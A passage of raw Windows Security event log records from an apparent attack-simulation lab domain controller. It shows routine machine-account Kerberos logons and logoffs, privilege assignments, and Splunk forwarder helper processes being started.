	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:44:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256757
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x4569F3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:45:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256761
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1218
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:45:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256760
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1260
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:45:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256762
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1088
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:45:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256763
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x450
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:45:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256764
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4d4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:45:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256765
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xac8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:45:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256766
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:45:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256769
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x459F58

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:45:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256768
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x459F58
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49217

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:45:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256767
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x459F58

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:46:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256771
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1130
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:46:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256770
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe3c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:46:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256772
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5b8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:46:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256773
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab8
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:46:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256774
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1258
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:46:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256775
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x468
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:46:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=256776
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x508
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 01:46:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256779
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45E4EA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:46:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256778
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x45E4EA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		49230

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 01:46:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=256777
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45E4EA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 01:47:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=256785
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x45E80C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 01:47:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=256784
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x45E80C
	Linked Logon ID:		0x0
